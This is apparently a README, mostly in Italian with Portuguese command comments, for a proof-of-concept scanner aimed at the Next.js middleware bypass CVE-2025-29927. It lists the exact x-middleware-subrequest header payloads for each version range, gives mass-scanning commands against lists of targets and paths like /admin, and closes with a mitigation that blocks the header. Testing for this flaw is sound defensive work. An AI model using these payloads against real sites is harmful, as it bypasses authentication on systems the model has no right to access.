
Un robusto strumento proof-of-concept (PoC) per rilevare la vulnerabilità del middleware di Next.js (CVE-2025-29927).
Questo strumento testa una vulnerabilità critica nelle applicazioni Next.js in cui l'header x-middleware-subrequest può essere utilizzato per bypassare i controlli di sicurezza implementati nel middleware. L'exploit prevede l'invio di richieste HTTP con specifici header dannosi, a seconda della versione di Next.js.
Secondo la ricerca, esistono diversi payload per diverse versioni di Next.js:
Versioni precedenti alla 12.2:
x-middleware-subrequest: pages/_middleware
Versioni dalla 12.2 in poi:
x-middleware-subrequest: middleware
oppure
x-middleware-subrequest: src/middleware
(se l'applicazione utilizza la directory src)
Versioni più recenti (come la 15.x):
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
oppure
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
La nostra PoC testa automaticamente tutti questi payload e segnala quale ha avuto successo.
# Clone o repositório ou baixe os arquivos
# Navegue até o diretório
cd poc-nextjs-2025
# Instale os pacotes necessários
pip install -r requirements.txt
python main.py -u https://exemplo.com # Testar uma única URL
python main.py -f alvos.txt # Testar múltiplas URLs de um arquivo
# Escaneamento básico de um único alvo
python main.py -u https://exemplo.com
# Escanear múltiplos alvos com caminhos personalizados
python main.py -f alvos.txt -p /api/users,/admin,/dashboard
# Escanear com maior concorrência e timeout mais longo
python main.py -u https://exemplo.com -t 10 --timeout 15
# Salvar resultados em um arquivo JSON
python main.py -u https://exemplo.com -o resultados_scan.json
Lo scanner funziona tramite:
x-middleware-subrequest in base alle versioni di Next.jsSe scopri applicazioni vulnerabili, applica queste mitigazioni:
x-middleware-subrequestexport function middleware(request: NextRequest) {
if (request.headers.has('x-middleware-subrequest')) {
return new Response('Unauthorized', { status: 401 });
}
return NextResponse.next();
}
| Opzione | Descrizione |
|---|
-u, --url URL | URL di destinazione da scansionare |
-f, --file ARQUIVO | File contenente più URL da scansionare (una per riga) |
-p, --paths CAMINHOS | Elenco di percorsi da testare separati da virgola (predefiniti: percorsi comuni) |
-t, --threads N | Numero di thread concorrenti (predefinito: 5) |
-o, --output ARQUIVO | Salva i risultati in un file JSON |
--timeout N | Timeout della richiesta in secondi (predefinito: 10) |